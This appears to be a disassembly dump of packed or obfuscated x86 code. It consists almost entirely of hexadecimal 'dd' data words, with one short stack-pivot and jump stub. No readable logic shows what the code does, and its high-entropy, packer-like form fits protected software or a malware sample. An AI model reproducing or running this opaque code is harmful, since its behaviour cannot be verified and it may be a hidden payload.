4EBEB4BBh, 27550B2Fh, 0E5B16290h dd 4BEA6DBCh, 669E91E7h, 16541756h, 38E99FE6h, 115340Eh dd 4C000000h, 0E34FEE6Dh, 19B564E9h, 2D0EE749h, 3A4F8C99h dd 0F7A62923h, 0D694375Bh, 488B45A6h, 0B0DC7FF3h, 5B0E709Dh dd 0DF7C879Ah, 0AFFB9AD9h, 247A4356h, 9BD36AEAh, 653794F8h dd 0BD19D0D7h, 17BB2312h, 0E2A1A049h, 0CE83E308h, 94B95B51h dd 9B299677h, 116D2CA1h, 0CDE08C14h, 8BC99F62h, 0C2C467E6h dd 0CE49888Bh, 2E82EE8Bh, 807A2E42h, 7600AC4Dh, 116D4484h dd 98EFEA0h, 0BB4115C4h, 43D98732h, 6D43FBF1h, 75D64E11h dd 0FB96DFD5h, 43B1FF57h, 0C7110174h, 3F2282C4h, 5CF2A6CAh dd 3C8E6192h, 116C9948h, 0EC4F23BBh, 246AD4A4h, 116202Eh dd 6E790000h, 861C421Bh, 0F7540548h, 0BC741A8Dh, 1F53AD12h dd 0D44E107Ch, 6C518E66h, 7379E111h, 98F458FBh, 5C919B3Bh dd 0DA13E9BDh, 2CAF613Fh, 17492589h, 6C50CFA5h, 19BA2211h dd 9F3AB3B9h, 6B53933h, 8D2EA0AAh, 0DA15487h, 4677E5A7h dd 6734A0EEh, 0A31743EEh, 2E2422D5h, 6923C32Ah, 18CB708Ah dd 31E2BBh, 6EBB0000h, 0A2104E27h, 175666FAh, 8FF955CDh dd 175665B5h, 0AF1D87D5h, 175665D5h, 5113B028h, 0A78E9723h dd 66A14BF9h, 0C941756h, 7E7958h, 6E200000h, 0AE1C421Bh dd 12BC455Dh, 2CE76E90h, 0C86408A9h, 43502496h, 3BA3116Ch dd 9D973B57h, 43EDB958h, 1B80B2AAh, 0F5566BBCh, 73DF7AF3h dd 6BD8F805h, 0DA77FA11h, 5CFD7C76h, 0C57AFAF0h, 9EBF2D6Fh dd 2378E4BAh, 36E569AAh, 0A2F70E5Ah, 0BC3785DBh, 0F0CBD5Ch dd 0BC313B97h, 5FE1B11Dh, 731C6D2Dh, 7A4AEBC1h, 0AAC65E0Bh dd 2DA06EF4h, 0DE552F8Ch, 7806CBCFh, 329146B6h, 0DC85D149h dd 0E3031B6Eh, 0ADD9CA93h, 0B1035D31h, 12A87F3Ah, 0B3B9158Dh dd 65CB9F3Ah, 6D774DFFh, 52CA1165h, 0D37EF7F1h, 2FCB097Fh dd 8C861E92h, 5B950F60h, 1A126417h, 6DDD901Dh, 0D3BF5A93h dd 52FF7670h, 8032A806h, 0DD901CACh, 3F48ED62h, 0CB0204A7h dd 4988822Eh, 0EA5404A8h, 34A7697Ah, 0B1242281h, 34FA5400h dd 9B9123C2h, 0EEDD901Ch, 0BFB91A76h, 0BC59B36h, 0F33D10C3h dd 0AF52DED0h, 68B919BAh, 3, 6DA50831h, 929834EBh, 1812BE5Bh dd 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh dd 0AA657h, 0E9822ECFh, 5E08950h, 4, 8704E883h, 895C2404h dd 60682434h, 8900007Eh, 89502414h, 405E0h, 0E8830000h dd 24048704h, 241C895Ch, 2C268h, 243C8900h, 2215F968h dd 0EF815F31h, 51D7367Fh, 0EBEF814Fh, 89D95951h, 0EC815FFAh dd 4, 83242489h, 5B042404h, 34815255h, 983C7E24h, 0F5815D17h dd 17983C7Eh, 5D086B89h, 5B2434FFh, 4C481h, 148B0000h dd 0E0895024h, 405h, 4C08300h, 5C240487h, 0F8EC19E9h, 0DAD4BEFFh dd 0FB360DAh, 0B173019h, 91D3B8D7h, 0C50305F1h, 0ACBCE0FFh dd 44A91E1Eh, 3BAF53E6h, 96701EAEh, 7DF40BEAh, 3DA8602Eh dd 38093B13h, 992D0D2Ah, 2282145Ch, 245B7C49h, 0F9930B58h dd 7E6C778Bh, 0FB063BDEh, 179C2517h, 0D9545366h, 0D3663A54h dd 4AF53FFh, 51B7553Ch, 8B754DFDh, 0C4BC0266h, 8C613DA3h dd 7BB21AEh, 27AD694Ch, 3E1E5864h, 598A4FA0h, 0DC4B4719h dd 3B0102D1h, 4FD37549h, 588A0F12h, 79EE3899h, 4EB2103h dd 0A634306h, 591E9h, 0BC639500h, 38DD12E8h, 0B065966Ch dd 3EDB1EE4h, 0B162906Ah, 0A0C243E5h, 2FD58132h, 5AA0F4A7h dd 0CB31651Ah, 2983D782h, 0F93309BBh, 0A861D47h, 49E86DA3h dd 453F8D17h, 0B8175667h, 29238320h, 0A45E0AA9h, 262C8031h dd 0F0AE02AFh, 0B418BD3Eh, 403486D8h, 0B3175667h, 498E882Bh dd 3D373894h, 0B285C8CFh, 533F9340h, 63916B3Fh, 67483C8Eh dd 23BB1756h, 98F4AB29h, 11C636CCh, 9C3FB7BDh, 27CE6030h dd 22D69407h, 0B49EAAEh, 0ED92C2D9h, 58FF7DB3h, 2418AAF4h dd 971756F4h, 8F3D630Fh, 1756F3B5h, 6B339008h, 99DB5C91h dd 0C1AD4E80h, 4CEF676Dh, 0EAE08CE0h, 701CB065h, 20EEB01Ch dd 0CCA00CADh, 0F422156Fh, 92D01756h, 0C66D1B62h, 0B199340Eh dd 0C0000000h, 0E549E86Dh, 56669F93h, 0D95A9317h, 2549E594h dd 9BBE549h, 17566633h, 0E8141E86h, 0D9B69B37h, 6720200Ah dd 9FCDC7C8h, 0D01E4C7Eh, 0CD7ABD9Dh, 0A7745B51h, 0A80B67CBh dd 85737AEAh, 0F1340E25h, 1, 39A339A8h, 5666B18Bh, 0EA9C0417h dd 17566712h, 585EFD65h, 0C0CA6617h, 966EDC8Fh, 0E9175667h dd 0BBB11D71h, 3D379B36h, 0BDB71BBAh, 5B379B3Ah, 0D37F1E51h dd 1A3BA9F7h, 0AEED1F15h, 0DA207429h, 173DD493h, 2F61FA82h dd 0D8E5DFA9h, 81581756h, 67459A7Eh, 8BE78B51h, 53814FD5h dd 0EDE2DAACh, 0AB551756h, 0B1DD7124h, 7F267EDDh, 104EED6Dh dd 5DFE9BDEh, 0D039A3FDh, 9DD15068h, 191365CAh, 6C1756DAh dd 0DF7CFEF4h, 0BABC1F73h, 262C8035h, 0A7AD01B6h, 88208C2Fh dd 0CF6796C6h, 16445381h, 769F3165h, 0A36C439Dh, 0EAEC4FE4h dd 0FE9FD063h, 78D485F4h, 0DED47814h, 3CA6F89Dh, 0DA2014A6h dd 0B931756h, 56DA877Dh, 0C162FA17h, 4BE66B61h, 0CE6DEDE7h dd 0EC184662h, 89FBB5C9h, 0EB27C7Ch, 738834h, 6DD10000h dd 0F6CE7CEDh, 49175666h, 1B11BDD1h, 868925D8h, 3FD8759Ch dd 9A55684h, 0C664865h, 0F1632182h, 6EED28AAh, 630F63CFh dd 0EE8DCD37h, 68094842h, 86F6B8C4h, 0E9B797Fh, 0A0678E34h dd 3A570B56h, 0D9D3613Fh, 2C175685h, 424E17B4h, 17000000h dd 104EED6Dh, 6744388Ah, 2FB71756h, 0B6262C8Ch, 9AE93F40h dd 1874259Ch, 9ECE90B4h, 6E3AD919h, 4BEA6D37h, 6750B9E7h dd 2A0CE2B9h, 7A4D3794h, 881756AAh, 0A5539ACAh, 0D1340E7Ch dd 1, 4FEE6D88h, 0F99CDF11h, 0BE333955h, 70D3BF13h, 8093DAD0h dd 2C01AD4Eh, 0D048C361h, 38543882h, 0A7AC494h, 56E317D9h dd 0B71B7724h, 0FD7E78DBh, 38A20C58h, 573FB28Ah, 59FA7817h dd 3BBCB62Eh, 0F95A369Ah, 8ED0ADFCh, 0FA97DA14h, 0E3993A56h dd 12BD1CFCh, 4789D74Fh, 64C46712h, 0A92CE76Eh, 0CA306408h dd 0C7AD683h, 116D1B3Eh, 475480DEh, 9E3510Eh, 7C116D1Bh dd 26DC88E4h, 0A4AE02AFh, 842C8031h, 0D81D9ACAh, 5E8E6739h dd 45417FD3h, 0DC722A89h, 9C3FDC12h, 253424D4h, 147502Eh dd 6E090000h, 861C421Bh, 66D6AE1Ch, 0B1291756h, 5666EDC7h dd 0F5D84017h, 91DD646Eh, 88DA795Dh, 0BCF0A53Ah, 2FA65812h dd 4842EE82h, 0FA005405h, 606AC673h, 48E04CEDh, 8CC1D606h dd 7B0DB9EDh, 802E24A0h, 662E8B69h, 6BE2F674h, 5801A2CEh dd 6Ch, 4E276E01h, 66FAA210h, 55CD1756h, 65B58FF9h, 87D51756h dd 0F6550449h, 0BD2748B4h, 5666350Fh, 1A108817h, 818427D4h dd 6DF7A984h, 666F45F7h, 5AC21756h, 5666582Ch, 5872AB17h dd 2F3421C1h, 5EECB2DEh, 17559C66h, 0B0E241D9h, 559C5A02h dd 2C9E0417h, 17559C58h, 9C3C3082h, 178F1755h, 205BF860h dd 8ACDECB8h, 94000000h, 1C421B6Eh, 0BC455DAEh, 0A4089012h dd 0DE8A27AEh, 5E00B124h, 13B06190h, 42B8C5B3h, 4A14116Ch dd 0F8589D1Ah, 2B75D79Ch, 0EFBBD756h, 643A0316h, 0FDA9DE8Dh dd 399A6E70h, 0FDBCD96Bh, 0D34B0CBCh, 5100757Fh, 0E113ADFDh dd 75C7D0D9h, 0B79DD7Fh, 0DD9369DBh, 7EE60B79h, 0A3FD9109h dd 3E70974Ah, 0B53AD2D3h, 0CB961C26h, 0E7B5167Ah, 0A529E77Dh dd 0F8AC80F6h, 0C61F0B79h, 35207799h, 12B1DD3Fh, 0CB5A6D68h dd 0D0841C06h, 701B6E89h, 5666EAC2h, 0A9C55D17h, 0F54845F7h dd 37DE12A7h, 0EBE39818h, 1FADF3CEh, 11646F25h, 0D8A30098h dd 6FE6EC40h, 0E96C96C2h, 58F4A92Eh, 0AAF45834h, 6EAA8230h dd 851D1164h, 0C5D45C26h, 555F12D2h, 0C80AC427h, 48EB872Bh dd 3E6A074Eh, 0C4B80A90h, 3701D193h, 0C30A0CAFh, 41B0BA16h dd 0D26C3C90h, 31E015A2h, 64E866Fh, 7774875Fh, 0FF768CD4h dd 82FFE52h, 81000000h, 0CA690C4Fh, 6DA5086Fh, 929834EBh dd 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h dd 848E22CFh, 0AA657h, 0E9822ECFh, 5768h, 24348900h, 303A68h dd 240C8900h, 463368h, 243C8900h, 53B46856h, 815E2F3Bh dd 0B63F44C6h, 8BF189D6h, 0C4832434h, 3C8B5404h, 4C48324h dd 242C8151h, 38385C9Eh, 8108478Fh, 5C9E0847h, 3C8B3838h dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 592434FFh dd 0E904C483h, 0FFF8E5F6h, 7B3F897h, 1BB8DF7Dh, 305F198h dd 0C8E0FFC5h, 0DF366AEBh, 0D443E04Eh, 0EB3740A2h, 625EEE04h dd 539E956h, 94C40000h, 0A4DB7E3h, 96C53F6Bh, 849B3E7h dd 93C73D69h, 9312B4E0h, 683CDF13h, 0EBBF5C92h, 683CE311h dd 0EABE5B92h, 8C60D240h, 0FF1D47FFh, 0D039DA73h, 0AEEB1E6Eh dd 0E5E3409Fh, 676DC170h, 0BA1440F3h, 309A9220h, 75ED1757h dd 9A9DD0D6h, 4D279554h, 0A0175730h, 94F85438h, 16BA579Eh dd 0B0BA167Ah, 6E309C3Dh, 2D8132A0h, 73E4E241h, 6B616EC2h dd 8E2BA2F9h, 3B420DAh, 7F75C75Dh, 0F2175730h, 6B91C96Ah dd 909A36E9h, 0AE3BD5Eh, 719A7633h, 1ABA193Dh, 923EDF10h dd 17BB5C98h, 688DFFBDh, 41568638h, 0FC326C13h, 1975D97Ah dd 0D518E2BAh, 46B47A24h, 7FD37EF3h, 7CDC7F13h, 0C869EC22h dd 0C41E116Bh, 86D41756h, 0FA560748h, 5773596h, 0E9610F8h dd 7B7C34h, 39250000h, 73D083F7h, 0FD510075h, 5666B78Bh dd 0D3014317h, 0E38FE8Ah, 10E34h, 6D570000h, 0FC154BEAh dd 478ADF2Ch, 476A06AAh, 42E15219h, 0FB72BCE2h, 0B418B938h dd 7418B4D8h, 0EEA4982Ah, 8F171756h, 0F0A52A2Ch, 0AE8634AEh dd 11756EEh, 909A3A99h, 74EEB061h, 56EEEEC6h, 7AD94117h dd 0ADDFD5DAh, 0E0B469EEh, 1215A74Eh, 0CB9427E4h, 4AE76E68h dd 0E095DA14h, 0DB83204Ch, 4EED6D82h, 456BF910h, 0B1AF29E6h dd 37B8B212h, 0B2202A86h, 34A7AD01h, 28222D81h, 7F3199BCh dd 0F240DA0Dh, 175758FAh, 7076D54Dh, 0FF055102h, 7D77DB76h dd 5E3A1EFEh, 0C9A2C193h, 3B7509A5h, 33BCBCC9h, 64C8340Fh dd 91000000h, 0E24EED6Dh, 94CA6BE8h, 6D67145Ah, 8AE64AE9h dd 8C868929h, 64175B60h, 0D283F43Ah, 49872971h, 86346A09h dd 175666AEh, 3C3A9901h, 0BBB11DBEh, 4B379B36h, 0EA8ED705h dd 1A340E3Eh, 44h, 4EED6D43h, 0CB35F910h, 0D9F0D9Ch, 0B9500EAEh dd 89E4F7EDh, 0B4B21134h, 1F3B9748h, 56841341h, 39A8F1A5h dd 671B11A3h, 0F66E1756h, 791C5355h, 66CCA3D5h, 387A1756h dd 38F781CCh, 107340Eh, 5E000000h, 0A529EE6Dh, 0D0BC5D90h dd 0D31A10BCh, 0B9917826h, 7B22718h, 0D1EAC7ABh, 0BA5D9FE8h dd 0B5167A16h, 25EB4515h, 0C5A905B4h, 0B7B82466h, 0FA59F879h dd 8ADE7FFCh, 15F2673h, 9C06729Bh, 877FF78Fh, 72595E24h dd 52AC12BCh, 0B814781Dh, 0CA9E3BB2h, 0B01CBD30h, 6C6FF4C6h dd 1E4E1011h, 0F1A55499h, 4917C20Bh, 708B61D3h, 66FE116Ch dd 5FB8F44Bh, 298AF880h, 0AF4A8389h, 77E5AB03h, 8734BA74h dd 0EAB2224h, 0DA1AEE5Ah, 606A2E24h, 33000001h, 0D285F739h dd 0B4B1127Eh, 2418AA65h, 0CD175667h, 0C59D083Eh, 68C2B5F2h dd 5711E2DAh, 0A1CD5517h, 0DA7629ABh, 3684DAB6h, 12BD1FA1h dd 6A60CC54h, 0A66836E3h, 262C8035h, 676D01B6h, 0BBE340F3h dd 0C16D0C41h, 89D782CBh, 0FC7D1560h, 1AB96311h, 0F641B0BAh dd 107CD085h, 94DAD07Ch, 10414BE7h, 0F8646E61h, 0E08C2FA3h dd 0C1D60648h, 87ABAC8Ch, 0BE732E06h, 463286D2h, 0B62E24A2h dd 59h, 3C308218h, 8F116CC4h, 0C39D9725h, 8810116Ch, 6EE247E4h dd 0F9104E27h, 70B175DAh, 0EBB91A5Fh, 56E69359h, 51814F17h dd 7627A8A2h, 9A36AED5h, 56E618ECh, 88F4B617h, 4618F530h dd 56E630F4h, 0CF9B0317h, 7427AF61h, 403486D8h, 0B31756E6h dd 39E4472Bh, 87h, 421B6E60h, 624BF51Ch, 7068C836h, 0C03381D3h dd 0F312BCB6h, 88CDC76Bh, 0E47BDE9h, 0B91CF63h, 6CB3C3B9h dd 57024B11h, 0E499DE20h, 65482448h, 0DC72B4AFh, 3D47E459h dd 116C7610h, 0E96CA2ECh, 2B88E448h, 39BCFB69h, 0E435CC98h dd 0A3F54719h, 0FF0CBE0Ch, 0DBDDD765h, 0C8500B7Ah, 4FEC91C2h dd 0A00AC34h, 0EABA16C3h, 0AA478A44h, 8BC96A06h, 6D384159h dd 734F8133h, 0FA6206CCh, 29AF4DA4h, 71BDE902h, 6ED38AD2h dd 0AE1C421Bh, 12A7FE7Ah, 0A24B158Dh, 0C1E7631Eh, 0EA4AE9AEh dd 98CC6DE0h, 9B7BF836h, 942E44A7h, 0EB4824CCh, 65C968EDh dd 0D443E813h, 7BE9E33Eh, 0FB7EB93Ch, 0F29EF25Eh, 1E195CA6h dd 0C7353FDCh, 0BCD0BC10h, 3AD71A10h, 0C78C696h, 824832DBh dd 4E77EB1h, 0EB2CA1A7h, 0FDA0D368h, 0FD513D51h, 53A9FD91h dd 2D37F1Ah, 3, 6DA5085Bh, 929834EBh, 1812BE5Bh, 9D973BDCh dd 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh, 0AA657h dd 0E9822ECFh, 261A68h, 240C8900h, 0C181E189h, 4, 8704E983h dd 685C240Ch, 709Eh, 50241C89h, 405E089h, 83000000h, 48704E8h dd 34895C24h, 62B9BB24h, 0BA523FFDh, 692D0E70h, 815AD329h dd 0DEBBA0EBh, 181768D0h, 24890000h, 24048124h, 4, 4EC815Eh dd 89000000h, 8B9240Ch, 1000000h, 591989F1h, 5724348Bh dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815B24h dd 4, 0F8E099E9h, 0B858D7FFh, 5F19D53h, 0E0FFC503h, 6101F3EFh dd 75EE57F1h, 6F5DA0CCh, 41FB879Ah, 22B28C4Bh, 5ECD4B71h dd 40C6CA26h, 1DDBF01Bh, 1F1844EEh, 29775C1Fh, 6344274h dd 2C2D3B2Eh, 9EF28D8Dh, 6A05F1h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 666597C3h, 0E9C6439Eh dd 14h, 5B02FBD9h, 0B24F5E13h, 55CCFA82h, 2EBF1617h, 0B3012BEDh dd 0ADD8D89h, 0FB8B05EAh, 1539B589h, 85C705EAh, 5EA0ACDh dd 5FA0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 4EC35343h, 896F812Dh, 0EA2CC99Dh, 0F585C705h, 5EA25h dd 89000000h, 0EA2A498Dh, 0DDB58B05h, 0FF05EA07h, 0EA3151B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0FBE81E5Bh, 2C99BD03h, 95FF05EAh, 5EA2A19h dd 1BD9B58Bh, 0BD8B05EAh, 5EA2F59h, 95FF006Ah, 5EA1015h dd 5AEBC08Bh, 0FC5B7574h, 0C45CEFF6h, 47FF1DAAh, 567EF4AEh dd 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h, 0BEB0A8A5h dd 8F01EF51h, 1076E5D4h, 881128FEh, 0C4637F1h, 5F7F3C8Ch dd 0A9EDD437h, 43D128BEh, 38AF2163h, 739193CEh, 0A193DE71h dd 2634EC9h, 766111B3h, 0BE6AEFB4h, 4EB37EBh, 6224CB7Ch dd 587E9h, 18BF3100h, 9C41B64Ch, 1CC132C8h, 923FB248h dd 1DBE3CC6h, 146EEF49h, 9B6135E6h, 0EF4A053h, 877D29CEh dd 5DF7A34Eh, 6877DCFh, 76FA1D48h, 49E86DDFh, 0C86BEFE5h dd 0FDDB329Ch, 1FA85452h, 80F5F350h, 0FE777DD1h, 82F5FF53h dd 7A707FD3h, 0D030D90Ah, 0B17A39B1h, 40B5B310h, 7FD37EF7h dd 0D12B7F13h, 52A8FCA3h, 0DBD17D22h, 1C4CE093h, 5AFB7CB2h dd 7B399AF6h, 9D42B209h, 1FBA33C9h, 4EF2C5B3h, 42001757h dd 213DCB12h, 0AB42340Fh, 0DC1D73BAh, 441DBEEEh, 66h, 49E86D1Dh dd 669F93E5h, 61931756h, 0D51812BEh, 8D878824h, 4E0C3E5Fh dd 3821D71Eh, 16D340Eh, 34000000h, 1B11A339h, 13175667h dd 0F89438DBh, 0B2B4178Fh, 3E34983Dh, 0A2A804B9h, 0C071E42Fh dd 0DA68F2ACh, 175666E2h, 0F293DB0Fh, 0BCCB8A03h, 28278724h dd 72E5B222h, 0E86D97C3h, 9BD91749h, 872448E4h, 0ED6D86DFh dd 67E8E24Eh, 0FCB21AB6h, 14C70B90h, 9D74EE40h, 9F8151CAh dd 370D7B39h, 8A175697h, 3EB7B112h, 0C6353F93h, 33BBA56h dd 28C271FBh, 639DB098h, 0EF432F02h, 0A6AFDD93h, 340E7AC2h dd 8332h, 1B529C00h, 3978DD7Eh, 671B11A3h, 906E1756h, 7D11BD5Eh dd 46B4B211h, 671F15A7h, 0A921756h, 93C0CA66h, 5B414EE2h dd 2BC60FC1h, 0A79DEB87h, 1A175666h, 0F1632182h, 0DF8B28AAh dd 5806B525h, 3626CBB1h, 2C8F96FFh, 0A653868Ch, 0CC38760Ah dd 0F01E781h, 0A2D21C34h, 1B11A3FDh, 6E175720h, 470C55F6h dd 55000000h, 0A628ED6Dh, 593559F5h, 0DA7DFFF5h, 0D21C5276h dd 325EF29Fh, 1AA1D391h, 366F3BD8h, 1B11A339h, 6E175667h dd 1C5355F6h, 0CCA3D579h, 7A175666h, 0F781CC38h, 0C340E38h dd 699582E5h, 83204C8Ah, 1DAh, 0EE6D8300h, 64E9E34Fh, 0F74919B5h dd 51C53685h, 0CC2F62A4h, 56026E7Bh, 0DD835AAFh, 956FDD47h dd 0E81756C5h, 5F33E016h, 0A1A186FCh, 8C1412BCh, 3EB07E20h dd 0A0271DAFh, 29A116Ch, 82CBCD6Eh, 0B72D83D7h, 6CA02F05h dd 0B91A8211h, 379B36BFh, 8235A769h, 0A0675B21h, 0DB85116Ch dd 4A8846A9h, 728897E8h, 3A5674AEh, 0FA569F99h, 1E01B788h dd 0D688E4BBh, 146B63Fh, 2CA1623Bh, 214D218Dh, 0AD20DA82h dd 5B9C520Ch, 0B3B919BAh, 9B339F3Ah, 0DE44A7D5h, 6D61986Ch dd 7C70C211h, 0CF116D61h, 1BB82057h, 6739D81Dh, 0B7CB29A9h dd 57D1EB2h, 0B1DD711Dh, 7EE44A12h, 6C9AF8CCh, 0DCD06211h dd 2F116C9Ah, 0D86AC0B7h, 116C9AE4h, 0A3CF57h, 246DC048h dd 16ACC2Eh, 6E950000h, 861C421Bh, 0CF0D0C48h, 0C5E84428h dd 1C1597Ah, 2685E9CDh, 0BCE0CB5Ch, 4AE67E12h, 386C0D40h dd 0B0EE8BC2h, 903B3959h, 52F10009h, 0C475F8F2h, 4EEB6268h dd 8B6BE8E2h, 598E2D27h, 0F15D318Ah, 24598BD5h, 5192C28Ch dd 9DDE5B9Fh, 313794F8h, 0FD491DBCh, 2E25170Bh, 9B38BE70h dd 0A1F85B37h, 53h, 4E276EF8h, 66FAA210h, 55CD1756h, 0E34EA7F9h dd 9F0F4A60h, 463E44E7h, 64175630h, 2FB5B626h, 562FA79Dh dd 21821A17h, 74C6E124h, 17563080h, 309468DAh, 7FE71756h dd 0A2FC9008h, 56304C10h, 0F3A73F17h, 0BBD2h, 0A1957C00h dd 30742869h, 391ABF1Ch, 89794AA3h, 0CEB742D0h, 5754C4B8h dd 0CAF3717h, 7B250009h, 0BD337AC9h, 4B158D12h, 0BA75685h dd 6E64C467h, 0B01E4AE7h, 0F559FE7Eh, 0B93C3A99h, 30A4982Ah dd 8F17116Dh, 0CA05785h, 0FEA00C60h, 0BE12C330h, 0FA0B71D2h dd 0DA116D30h, 0A435884h, 31AB316Fh, 6D2FA983h, 0F2841C11h dd 116D2FFAh, 9ADFD54Dh, 9C3F53FFh, 11EC3DC4h, 0D81BD54Fh dd 3DFC8625h, 0C0CBEC3h, 2E23CA94h, 0C9F5F175h, 141EBE1Dh dd 969C30E1h, 151FB360h, 702755E2h, 70DCB0DCh, 496C98DAh dd 6535A719h, 0D9174914h, 68EEE49Bh, 883A68CBh, 6CD69E9h dd 4D1440D8h, 1C421B6Eh, 2EF6A3F5h, 35960F06h, 0BA33FD67h dd 5FEDB31Fh, 17569065h, 722C40D8h, 568FECC0h, 64C75F17h dd 0A8235B1Eh, 88CD0312h, 0A9314AE9h, 0E5DF6DF7h, 581164F0h dd 9DC363C0h, 0BBC8D674h, 0AB19D363h, 116471D1h, 73D0BC24h dd 5510075h, 77DB76FFh, 91141F01h, 6AF0EA6Ah, 8F03E4D8h dd 6CCF57A9h, 74F9BE2Eh, 83892CA3h, 97C3AF4Ah, 1749E86Dh dd 4453F8Dh, 20B8A98Fh, 59F5AA2Ah, 68369635h, 46C40F2h dd 47DFA98Fh, 0C26FE2E4h, 40F1646Eh, 0C176E6ECh, 0FC68626Dh dd 0E92789D9h, 5517B46Bh, 0BC5D9027h, 3EDB12E8h, 34392h dd 81A0000h, 34EB6DA5h, 0BE5B9298h, 3BDC1812h, 0BA599D97h dd 3DDE1C16h, 0A4579B91h, 22CF0208h, 0A657848Eh, 2ECF000Ah dd 8956E982h, 4C681E6h, 83000000h, 348704EEh, 0C895C24h dd 74906824h, 3C890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68243489h, 5F19F5Ch, 83243C8Bh, 0D6804C4h dd 8900003Dh, 4812424h, 424h, 8F575E00h, 34FF0846h, 0C4835E24h dd 243C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 6BB37C07h, 91034604h, 0F1A469B8h, 0FFC50305h, 0FD3B65E0h dd 24EEA63Ah, 630E650Dh, 0CF87CF10h, 0BCC7814Bh, 90A5B925h dd 84A4602Bh, 0A1015811h, 0BC85C432h, 41A3A604h, 0A30D667Fh dd 772D96Eh, 0B5B89C3Ah, 2E1C9122h, 0AF6A262Fh, 91D03B34h dd 77B1BB11h, 12E56F41h, 10BC9A3Bh, 0C0BCC3Dh, 8E8F530h dd 0EAEC142Ch, 3F936620h, 6344EF7Ah, 3EAA0C0Ch, 539A4709h dd 407BD53Ch, 68F96127h, 9A2E922Fh, 0BCAE0153h, 0C1C85465h dd 0F240F52Ah, 10EB58h, 3 dup(0) dd 8B000000h, 49B52BC0h, 8305EA09h, 0EA13D9BDh, 9750005h dd 2EE5BD83h, 740005EAh, 8B535019h, 42DB8C0h, 85890000h dd 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h dd 50177400h, 42DB853h, 85890000h, 5EA0D79h, 0DAE49D8Dh dd 0D3FF05ECh, 6A585Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 8EEE28C3h, 661EC9D1h, 0E0EFF681h dd 0BCEA8166h, 51006AB6h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 9AFA68F0h, 0B9807469h dd 9D890F11h, 5EA0089h, 6E9C08Bh, 0C7000000h, 0EFD7BEBEh dd 0E98D8B77h, 8905EA1Ch, 0EA16B59Dh, 0F98305h, 93840Fh dd 0F530000h, 689h, 69B50300h, 5E05EA2Ch, 2C3D8B64h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 52A6C355h, 5D62D3B9h, 0F9958B00h, 6005EA05h dd 0BE9h, 2ECB2200h, 8E4FEA81h, 0D8BCEA0h, 2C51B509h, 0B6105EAh dd 36840FFFh, 0B6000000h, 663F8B2Ah, 32CF22BEh, 7D958BC0h dd 0F305EA31h, 53006AAAh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 3C0A7BEh, 0EA2C7195h dd 41493505h, 95295350h, 5EA09DDh, 1A4585C6h, 664705EAh dd 0DF68F28Bh, 81D8407Eh, 94D2404h, 6A0496h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 3011BC3h dd 3E0E63FAh, 8DB5FFD0h, 8B05EA23h, 0EA25D195h, 0A0858D05h dd 8105EDAFh, 57EC48D2h, 66D0FF11h, 899225BEh, 0EA2D1585h dd 159D8905h, 0C605EA0Dh, 0EA1A4585h, 12E95305h, 13000000h dd 0C5823FF8h, 0E14C5818h, 48095D35h, 0E7D8F0A1h, 3C276813h dd 0BE6629DCh, 481406Bh, 0BC2ED524h, 0DA81575Eh, 2D9B0EC8h dd 8DB5FF5Ah, 8105EA23h, 0A9FD9DCAh, 4DB58B78h, 8D05EA32h dd 0EDAFA085h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4DBEF46Eh, 8BD0FFFEh dd 0EA1469B5h, 71858D05h, 8905ED70h, 0EA1DD19Dh, 99858905h dd 8905EA29h, 0EA2079BDh, 6A206A05h, 9995FFFFh, 3505EA29h dd 53504149h, 1CD185C7h, 105EAh, 85C70000h, 5EA3115h, 0 dd 16459589h, 8B5205EAh, 0EA074DB5h, 0F6815A05h, 1F7959ECh dd 29F5BD83h, 0F0005EAh, 0B484h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B0AD42Eh dd 0EA143185h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 10B9956h, 0A09C1293h dd 10E98Ch, 0C11A0000h, 0FD2015C6h, 0AE8FFB44h, 8DB6536Ch dd 0A364EA1Eh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 1BC35343h dd 536650DDh, 0B82D8FD0h, 999503AEh, 8B05EA1Ch, 0EA2A5185h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0E08BFCAAh, 75BD83F5h, 5EA1Ah, 37F850Fh dd 0E6800000h, 4585C659h, 5605EA1Ah, 68F6BF0Fh, 0ABB16347h dd 0BF525060h, 194A0680h, 0F08B310Fh, 0F88B585Ah, 24348161h dd 2745398h, 1469B589h, 0B5FF05EAh, 5EA238Dh, 32B5B58Bh dd 858D05EAh, 5EDAFA0h, 6AD0FFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 76E9AAC3h, 0E85062ACh dd 0Bh, 8995AE96h, 0EE5DB842h, 5211F9A9h, 0B0B1BE66h, 4895A5Eh dd 91B58924h, 8D05EA2Ch, 0EA32998Dh, 96BE6605h, 506050B1h dd 0F525052h, 0F585A31h, 0D38B6631h, 0C2B9585Ah, 615E4B79h 